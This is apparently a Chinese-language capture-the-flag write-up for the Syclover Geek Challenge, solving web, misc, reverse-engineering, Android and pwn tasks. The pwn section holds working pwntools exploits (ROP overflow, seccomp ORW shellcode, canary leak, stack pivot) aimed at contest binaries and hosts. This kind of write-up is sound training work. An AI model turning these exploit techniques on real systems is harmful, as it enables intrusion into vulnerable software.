Syc Geek 10th

---------------------

前言

  • 第十届极客大挑战结束了,感谢Syc的师傅们,赛题质量很高!学到了很多东西!
  • 菜是原罪!

WEB

0x01 打比赛前先撸一只猫

  • 不是web选手,但是基本的get传参之类的还是会的。

  • 查看源码发现了这个假的flag。

  • 直接get传参?get=dog 构造成http://118.25.14.40:8110/?cat=dog这种形式即可得到真正的flag。

MISC

0x01 签到

  • 签到,关注公众号即可签到拿flag。

0x02 我好兴奋啊

  • 十六进制打开,搜索Syc{就能找到flag。

0x03 翻过这座山

  • 在所给链接的github里面,有一个教翻墙的详细教程。而且里面有个注意事项,但是里面是假的flag, 真正的flag通过找这个翻墙项目的回收站(大概可以这么叫吧),里面有个flag.md,真正的flag在里面。

0x04 散打黑客的压缩包

  • 两次爆破压缩包即可得到flag。

0x05 是谁杀了谁

  • 这道题目我直接dnSpy动态调试拿到flag。
  • 或者解那个DES(我是没解出来..)
  • 官方WP如下:

exe的逻辑如下 按钮点第一次 –> 生成一个HP的隐藏文件(注意要在“我的电脑”里面勾选隐藏文件选项)
按钮点第二次 –> 往HP文件里面写入flag
按钮点第三次 –> 删除HP文件里面的flag
按钮点第四次 –> 删除HP文件
原本出题的时候打算加壳,防止被逆向。后来想想可以多给一条路,于是没有加壳。所以逆 向选手也可以直接逆向分析。

0x06 嘿,你喜欢吃鲱鱼罐头么?

  • 破伪加密拿到图片,详细信息里面给了提示它看起来像死鱼一样,图片末尾有一串oids串iisiiiisiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiioddddddddddddddddddddddddddddddddddddddddoiiodddoioioddoddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiooddddoiiiiiodddddddoddddddddoiiiiiiiiiioiiiiiiiiiioddddddddddddddddddddoiiiiioiodddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddddoiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddoiiiiiiiiiio

  • 根据提示,这和鲱鱼有关系, 最后了解到有一种编码叫deadfish编码。

  • 官方WP提供了解密网站:

解密网站

  • 自己写解密脚本也不难, O 表示输出(output), s表示平方(square),d表示减(dec),i表示(inc),解密脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<iostream>
#include<string>
using namespace std;
int main()
{

string s = "iisiiiisiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiioddddddddddddddddddddddddddddddddddddddddoiiodddoioioddoddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiooddddoiiiiiodddddddoddddddddoiiiiiiiiiioiiiiiiiiiioddddddddddddddddddddoiiiiioiodddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddddoiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddoiiiiiiiiiio";
int sum = 0;
for(int i=0;i<s.size();i++)
{
if(s[i]=='i'){
sum+=1;
}else if(s[i]=='s'){
sum=sum*sum;
}else if(s[i]=='d'){
sum-=1;
}else if(s[i]=='o'){
printf("%c",sum);
}
}
return 0;
}

0x07 我也想成为r1ngs

  • hex转ascii以后是flag的立体字。

  • 真有新意。

0x08 早点睡

  • 脑洞太大,官方WP如下:

这题出的太智障了,原本都不打算放的… 首先010查看发现这是个psd文件,先把文件后缀改为psd。 然后用ps或者其他类似软件打开,可以看到有一个隐藏图层。里面有个链接。 访问之后下载到第二部分,利用base64转图片可以得到第二个链接。 访问之后下载到第三部分,利用base64转图片可以得到第三个链接。 访问之后下载到第四部分,利用base64转图片发现转不出来了,观察下数据,发现是一段 base64很有规律的重复,将重复的base64提取出来然后解base64就得到了flag。

0x09 RPG真是太好玩了吧

  • 我这边一直打不开,也就没法做了。
  • 官方WP说题目没啥难度,打通关就能拿到flag。而且为了防止CE修改破坏游戏体验,设置了当 任意人物到达30级时会出线变态怪物的设定.但是忘记加异常状态抗性了,很轻松就被打死了, 这算一个非预期吧.。

0x10 I wanna be a geek

  • 每次修改save文件即可跳关。 flag在背景图上。

0x11 游戏玩累了 不如来听听歌吧

  • 做的时候忽略了题目的含义吉良吉影发动了败者食尘!时间开始倒流了!。看了WP知道需要倒放(从后往前分析)。
  • 倒放后在开头有摩斯编码,解码得到flag。

0x12 马里奥真是太有趣了

  • 参考官方WP:

下载下来是个nes后缀的文件,下载nes模拟器打开发现是初代SMB
游玩过了一世界库巴后会告诉你flag在8-4。直接金手指跳到8-4,从水关回来就是flag。

0x13 The final

  • 师傅们tql! wp见师傅们给的wp:

WP传送门

PWN

0x01 Find tools

  • pwntools远程拿到key,base64解码,然后send, 注意要interactive,不然拿不到flag。

0x02 BabyROP

  • 简单ROP,但官方WP说有小坑???
1
2
3
4
5
from pwn import	*	
p = remote('pwnto.fun',10000)
payload = 'a'*0x88 + p64(0x400618)
p.sendline(payload)
p.interactive()

0x03 Babyshellcode

1
2
3
4
5
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

image-20200520215634462

开了seccomp,通过seccomp-tools查看可知允许Open read write,所以采用ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
# context.log_level='debug'
context.arch='amd64'

sh = process("./RushB")

buf_addr=0x123000
shellcode = ""
shellcode += shellcraft.amd64.pushstr('./flag').rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_open',"rsp", 0).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_read',"rax", 0x123500,40).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_write',1, 0x123500,40).rstrip()
sh.recvuntil("A simple shellcode for U, have fun!")
sh.sendline(asm(shellcode))
sh.recvuntil("Why not play CSGO?")
sh.sendline('A'*0x38+p64(buf_addr))
print(sh.recv())
print(sh.recv())

0x04 EasyCanary

  • 泄露Canary。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

#c = remote('pwnto.fun',10001)

c = process('./canary')

#gdb.attach(c,'b fun')

systemaddr = 0x08048647

payload = 'a'*21

print c.recvline()
print c.recvline()
c.send(payload)
print c.recvline()
s = c.recv()

canary = u32('\x00'+s[21:24])

log.info('canary = ' + hex(canary))

payload2 = 'a'* 20
payload2 += p32(canary)
payload2 += 'a'*12
payload2 += p32(systemaddr)

sleep(0.5)

c.sendline(payload2)

c.interactive()

0x05 BabyCanary

  • SSP Leak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

c = remote('pwnto.fun',10007)

c.recvline()

bufaddr = c.recvline()[18:]

addr = int(bufaddr,16)

payload = p64(addr)*250

c.recvline()

c.sendline(payload)

print c.recvline()

c.interactive()

0x06 not bad

相比babyshellcode,多了栈迁移,依旧是ORW

1
2
3
4
5
6
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level='debug'
context.arch='amd64'
sh = process("./bad")

shellcode = ""
shellcode += shellcraft.amd64.pushstr('./flag').rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_open',"rsp", 0).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_read',"rax", 0x123500,40).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_write',1, 0x123500,40).rstrip()
shellcode = asm(shellcode)

jmp_rsp = 0x0000000000400a01

payload = ""
payload += asm("mov rax,rsp;add rax,0x18",arch="amd64",os="linux")
payload += asm(shellcraft.amd64.linux.syscall('SYS_read',0,"rax",0x60).rstrip())
payload = payload.ljust(0x20,'\x90') # padding
payload += p64(0xdeadbeef) # fake_ebp
payload += p64(jmp_rsp)
payload += asm("sub rsp,0x30;jmp rsp",arch="amd64",os="linux").ljust(8,'\x90')

sh.recvuntil("Easy shellcode, have fun!")
sh.send(payload)
sh.send(shellcode)
print(sh.recv())
print(sh.recv())
print(sh.recv())

RE

0x01 Jiang’s fan

  • 签到题目,IDA打开就能看到flag

0x02 secret

  • 拖入IDA找到关键字符串5379637B6E30775F794F755F6B6E6F775F6234736531367D,直接base16解码或者直接hex转ascii得到flag。

0x03 Easy VB

  • 用OD动态调试, 不能用IDA。
  • 调试发现是将输入的flag与字符串12345a789012345678g012345a789012逐位异或,然后将结果与bKPObQ@goYBGRXjtVKVSn^@kFQh[V_]O比较,如果相等则输入flag正确。所以直接上脚本就行。
1
2
3
4
5
6
7
# -*- coding: UTF-8 -*-
a = '12345a789012345678g012345a789012'
b = 'bKPObQ@goYBGRXjtVKVSn^@kFQh[V_]O'
flag = ''
for i in range(len(a)):
flag += chr(ord(a[i])^ord(b[i]))
print flag

0x04 冰菓

  • C#逆向,用dnSpy打开以后就能找到关键算法,直接逆算法就行。

  • 脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: UTF-8 -*-
L1 = [119,77,103,79,21,
115,133,97,115,87,
22,115,103,89,88,
93,22,89,119,81]

L2 = [57,13]

flag = ''
for i in range(20):
flag += chr( (L1[i] - L2[1])^ L2[0] )
print flag

0x05 PYC是啥子嘛

  • 拿到PYC程序反编译以后, 可以看出来是个迷宫, 大小为10×10,稍微改改可以变成这种形式。

  • 要从S(Start) 走到 E(End)且路径长度最短, &表示往上走, $表示往下走, 6表示往左走, 3表示往右走。
  • flag为 Syc{Your Input}

0x06 Dll Reverse

  • 题目加载_setup0.dll,调用里面的_TRocMxlr函数, 如果_TRocMxlr函数返回为true,则提示正确。 所以需要sub_10001028(Str) != 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
char __usercall sub_10001028@<al>(const char *a1@<eax>)
{
const char *v1; // edi
signed int v2; // kr00_4
int v3; // eax
int v4; // esi
_BYTE *v5; // eax
int v6; // ecx
char *v7; // edx
char v8; // si
int v9; // edi
char v10; // bl
int v11; // esi
signed int v12; // ecx
int v13; // esi
char v14; // al
char v15; // al
int v16; // eax
int v18; // [esp+8h] [ebp-8h]
int v19; // [esp+Ch] [ebp-4h]

v1 = a1;
v2 = strlen(a1);
v3 = v2 / 3;
v18 = v2 % 3;
if ( v2 % 3 )
v4 = 4 * v3 + 4;
else
v4 = 4 * v3;
v5 = malloc(v4 + 1);
v6 = 0;
v5[v4] = 0;
v19 = v4 - 2;
if ( v4 - 2 > 0 )
{
v7 = (char *)(v1 + 1);
do
{
v8 = *(v7 - 1);
v9 = *v7;
v5[v6] = base64Table[*(v7 - 1) >> 2];
v10 = base64Table[(v9 >> 4) | 16 * (v8 & 3)];
v11 = v7[1];
v5[v6 + 1] = v10;
v5[v6 + 2] = base64Table[(v11 >> 6) | 4 * (v9 & 0xF)];
v5[v6 + 3] = base64Table[v11 & 0x3F];
v6 += 4;
v7 += 3;
}
while ( v6 < v19 );
}
if ( v18 == 1 )
{
*(_WORD *)&v5[v6 - 2] = '==';
}
else if ( v18 == 2 )
{
v5[v6 - 1] = '=';
}
v12 = 0;
v13 = v5 - s1;
do
{
v14 = s1[v13 + v12];
if ( v12 % 2 )
v15 = s1[v12] ^ v14;
else
v15 = (s1[v12] ^ v14) + 3;
byte_10003390[v12++] = v15;
}
while ( v12 < 32 );
v16 = 0;
while ( byte_10003390[v16] == s2[v16] )
{
if ( ++v16 >= 32 )
return 1;
}
return 0;
}
  • 根据伪代码, 这个函数先把我们输入的flag进行base64加密,然后分情况进行异或运算,最后与s2进行比较,如果如果一致,则成功。

  • 注意这里的base64进行了换表!!!! 这里的base64Table为BCDEFGHIJKLMNOPQSVXZRWYTUeadbcfghijklmnopqrstuvwxyz0123456789+/

  • 另外:

1
2
3
4
5
v12 = 0;
v13 = v5 - s1;
do
{
v14 = s1[v13 + v12];
  • 这一块不太容易搞清v14 = s1[v13+v12]到底是什么? 通过OD动态调试得知, v14每次都是依次取的flag经过base64加密以后的字符串的字符。

  • 所以解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: UTF-8 -*-
import base64
import string
s1 = '''
45 6A 43 34 56 3B 4F 67 47 43 19 23 43 75 6C 67
3B 65 54 46 42 37 01 50 55 60 49 24 18 4A 27 1F
09 1D 4A 00
'''
L1 = s1.split()
s2 = '''
22 59 32 5E 38 0B 42 56 26 70 4D 45
13 22 2D 1D 5B 37 70 03 12 60 7C 36 07 53 03 53
4F 78 56 26
'''
ss = ''

L2 = s2.split()
print L2
for i in range(32):
if i%2 == 1:
ss += chr(int(L1[i],16) ^ int(L2[i],16)&0xff)
else:
ss += chr(int(L1[i],16) ^ (int(L2[i],16) - 3)&0xff)
print ss

string1 = "ABCDEFGHIJKLMNOPQSVXZRWYTUeadbcfghijklmnopqrstuvwxyz0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print base64.b64decode(ss.translate(string.maketrans(string1,string2)))

0x07 Win32 Program

0x08 阅兵你认真看了么

  • 官方WP如下:

  • 可以直接爆破MD5,字典选用ABCD,就五位,直接正向爆破得到ACBAD

  • 也可以在线解密MD5。

  • 可以分析到unk_2020A0为数独第一行。unk_2020C4为数独的第二行到第九行。

  • 由此可以得到数独:

1
2
3
4
5
6
7
8
9
1 2 0 5 4 3 0 0 0
0 3 0 0 9 8 0 0 0
0 0 0 0 6 0 0 0 5
3 0 0 0 0 4 0 0 0
0 0 7 0 5 0 8 0 0
0 0 0 6 0 0 0 0 9
5 0 0 0 7 0 0 0 0
0 0 0 4 2 0 0 1 0
0 0 0 9 8 1 0 2 3
  • 在线数独求解可得

  • 从而得到我们应该输入679845716297812345981276642931281374512369848935677645

  • 运行程序并输入两组答案ACBAD679845716297812345981276642931281374512369848935677645即可得到flag。

0x09 Python1

  • 这道题挺顶的,反编译以后的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import struct, time

def b(a):
return a & 0xffffffffffffffffL


def c(str):
return struct.unpack('<Q', str)[0]


def d(a):
for i in range(64):
a = a * 2
if a > 0xffffffffffffffffL:
a = b(a)
a = b(a ^ 0xb0004b7679fa26b3L)

return a


if __name__ == '__main__':
cmp_data = [
7966260180038414229L, 16286944838295011030L,
8598951912044448753L, 7047634009948092561L, 7308282357635670895L]
input = raw_input('plz input your flag:')
if len(input) % 8 != 0:
for i in range(8 - len(input) % 8):
input += '\x00'

arr = []
for i in range(len(input) / 8):
value = d(c(input[i * 8:i * 8 + 8]))
arr.append(value)

for i in range(5):
if arr[i] != cmp_data[i]:
print 'fail'
time.sleep(5)
exit()

print 'success'
time.sleep(5)
exit()
  • 重点在于b函数和d函数。如果a经过×2运算以后大于0xffffffffffffffffL(即溢出了),则先按位与0xffffffffffffffffL,然后再与0xb0004b7679fa26b3L异或,则得到的结果一定为奇数。如果a经过×2运算以后小于等于0xffffffffffffffffL,则一定为偶数。

  • 另外一个关键点在于,如何还原溢出的数据?

  • 对于这个程序,如果a×2(相当于左移1位)以后溢出了,那么损失的是最高位(转换成二进制来看),最低位会自动补为0。那么我们只需要补回来最高位(加上2的最高位次方,比如这次是加上2的64次方)然后再除以2就能得到原来的a了。

  • 根据这些可以得出解密脚本。

  • 鉴于C语言unsigned long long 最大有64位, 而我们的溢出位就是第64位,所以我们可以先除以2,然后再加上原本要补的值的一半,就相当于先加上要补的值然后再除以2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// C语言版解密脚本
#include <stdio.h>
int main()
{
unsigned long long answer[] = { 0x6e8dd76d3b876f95L, 0xe206da09daf4bed6L,0x77559d346e134bf1L, 0x61ce39cac5eaf891L, 0x656c3c155520e36fL };
for(int i = 0; i<5; i++)
{
unsigned long long tmp = answer[i];
for (int j = 0; j < 64; j++)
{
if (tmp & 1)//结果为奇数
{
tmp ^= 0xb0004b7679fa26b3;//先异或回去。
tmp >>=1;//相当于除以2
tmp += 0x8000000000000000;//加上要补值(2的64次方)的一半
}
else//结果为偶数
{
tmp>>=1;
}
}
answer[i] = tmp;
}
puts((char*)answer);
}
  • 此刻python的优势显出来了。
  • Python解密脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf-8 -*
import struct
def decode(a):
for i in range(64):
if(a % 2 == 0):
a /= 2
else:
a ^= 0xB0004B7679FA26B3
a = a + 0xffffffffffffffff + 1
a /= 2
return a
if __name__ == "__main__":
cmp_data = [7966260180038414229L, 16286944838295011030L, 8598951912044448753L, 7047634009948092561L, 7308282357635670895L]
flag = ""
for i in range(5):
flag += struct.pack(">Q",decode(cmp_data[i]))[::-1].strip()#需要注意这里的[::-1],用来逆序!
print flag

0x10 Python2

  • 反编译以后得到如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import struct, time

def fun(start, end, s):
a = 32310901
b = 1729
c = s
m = end - start
while True:
d = int((a * c + b) % m)
yield d
c = d


if __name__ == '__main__':
arr = [
77, 263, 394, 442, 463, 512, 667, 641, 804, 752, 885, 815, 1075, 1059, 1166, 1082, 1429, 1583, 1696, 1380,
1987, 2263, 2128, 2277, 2387, 2670, 2692, 3255, 3116, 3306, 3132, 3659, 3139, 3422, 3600, 3584, 3343, 3546,
3299, 3633, 3281, 3146, 2990, 2617, 2780, 2893, 2573, 2584, 2424, 2715, 2513, 2324, 2080, 2293, 2245, 2309,
2036, 1944, 1931, 1817, 1483, 1372, 1087, 1221, 893, 785, 697, 586, 547, 324, 177, 184]
flag = raw_input('plz input your flag:')
length = len(flag)
a = struct.unpack('<I', flag[length - 4:].encode())[0] & 255
b = []
c = fun(1, 255, a)
for i in range(32):
b.append(next(c))

d = [ 0 for i in range(72) ]
for i in range(length):
for j in range(32):
a = ord(flag[i]) ^ b[j]
d[(i + j)] += a

for i in range(len(d)):
if d[i] != arr[i]:
print 'fail'
time.sleep(5)
exit(0)

print 'success'
time.sleep(5)
exit(0)
  • 关键点1: 这个fun函数就是rand函数, 其参数s即为随机数种子。

  • 关键点2: 如何确定这个随机数种子。

  • 关键点3: 如何确定flag的长度。

  • 首先: d的长度为72, b的长度为32 。

  • 通过这一部分能知道, 我们最大能够访问到d[71], 而j最大取到31,所以length(flag的长度)最大取到40,所以flag的长度为41。

  • 而且, d[0]只能由d[0+0]来访问,即i和j均为0。 d[71]只能由d[31+40]来访问到,所以需要d[0] = arr[0] = 77,d[71] = arr[71] = 184。

  • 又因为flag的开头为Syc{, 开头第一个为S,末尾为}

  • 所以b[0] = ord(‘S’)^d[0] = 30, b[31] = ord(‘}’) ^ d[71] = 194

  • 又因为 a = struct.unpack('<I', flag[length - 4:].encode())[0] & 255,所以随机数种子的取值为 0~255 。

  • 然后就可以爆破这个随机数种子了。

  • 爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: UTF-8 -*-
def fun(start, end, s):
a = 32310901
b = 1729
c = s
m = end - start
while True:
d = int((a * c + b) % m)
yield d
c = d
for seed in range(0,256):
b = []
c = fun(1, 255, seed)
for i in range(32):
b.append(next(c))
if b[0] == 30 and b[31] == 197:
print seed
break
  • 得出来 seed 为 49 。b为b = [30, 243, 208, 79, 68, 71, 24, 83, 90, 65, 118,219, 76, 115, 12, 17, 108, 37, 218, 7, 180, 179, 110,175, 88, 181, 248, 45, 8, 249, 114, 197]

  • 然后利用z3约束求出flag。

  • Z3脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding: UTF-8 -*-
from z3 import *

arr = [ 77,263,394,442,463,512,667,641,
804,752,885,815,1075,1059,1166,
1082,1429,1583,1696,1380,1987,
2263,2128,2277,2387,2670,2692,
3255,3116,3306,3132,3659,3139,
3422,3600,3584,3343,3546,3299,
3633,3281,3146,2990,2617,2780,
2893,2573,2584,2424,2715,2513,
2324,2080,2293,2245,2309,2036,
1944,1931,1817,1483,1372,1087,
1221,893,785,697,586,547,324,
177,184]

b = [30, 243, 208, 79, 68, 71, 24, 83, 90, 65, 118,
219, 76, 115, 12, 17, 108, 37, 218, 7, 180, 179,
110,175, 88, 181, 248, 45, 8, 249, 114, 197]

flag = [BitVec('flag%d'%i,8) for i in range(41)]

length = len(flag)

solver = Solver()

for i in range(41):
solver.add(flag[i]>=32)
solver.add(flag[i]<=127)

for i in range(4):
solver.add(flag[i] == ord('Syc{'[i]))
solver.add(flag[length-1] == ord('}'))

d = [0 for i in range(72)]
for i in range(length):
for j in range(32):
a = flag[i] ^ b[j]
d[i + j] += a

for i in range(len(d)):
solver.add(simplify(d[i] == arr[i]))

if solver.check() == sat:
m = solver.model()
Flag = ''
for i in range(41):
Flag += chr(eval(str(solver.model().eval(flag[i]))))
print Flag
  • 不一会就能得出flag,当然手动去逆也不是不可以。

0x11 Python3

Android

0x01 Sign_in

  • 拖入JEB在主函数可以直接找到字符串U3lje1NpOW5fMW5fSTNfRTRzeSF9,base64解码即可得到flag。

0x02 蒋学姐的秘密

  • 用户名可以在JEB里面找到,是Syclover, 密码是用户名的MD5, flag为Syc{密码}

0x03 正在尝试重新连接

  • 程序通过访问https://0xe4s0n.github.io/download/get_data.json获得一个字符串和一个data,我们访问这个链接可以知道字符串为Syclover,data是一个数组["33","28","21","20","93","13","13","96","0","11","66","27","51","42","10","12","1","85","41","38","34","23","60","33","23","86","2","94","2","90","4"]

  • 程序有一个check方法,但是是在native层的, 所以我们分析native-lib.so

  • WP里面的F5解密是这样的…而我的F5界面是这样的…一些关键信息都没法正常显示。

  • 向出题人请教了一下以后得知,需要对a1进行类型转换。
  • 点一下a1 然后按Y,输出JNIEnv *,然后就very nice了。

  • 稍作修改以后

  • 逻辑挺简单, 将input与str[i%str__len]异或(其中str已经完成逆序,变成了revolcyS),如果结果与数组相同,则返回1,否则返回0。

  • 直接逆回去得到解密脚本:

1
2
3
4
5
6
7
# -*- coding: UTF-8 -*-
s = 'Syclover'[::-1]
data = ["33","28","21","20","93","13","13","96","0","11","66","27","51","42","10","12","1","85","41","38","34","23","60","33","23","86","2","94","2","90","4"]
input = ''
for i in range(len(data)):
input+= chr(int(data[i]) ^ ord(s[i%len(s)]))
print input
  • 运行即可得到flag。

Coding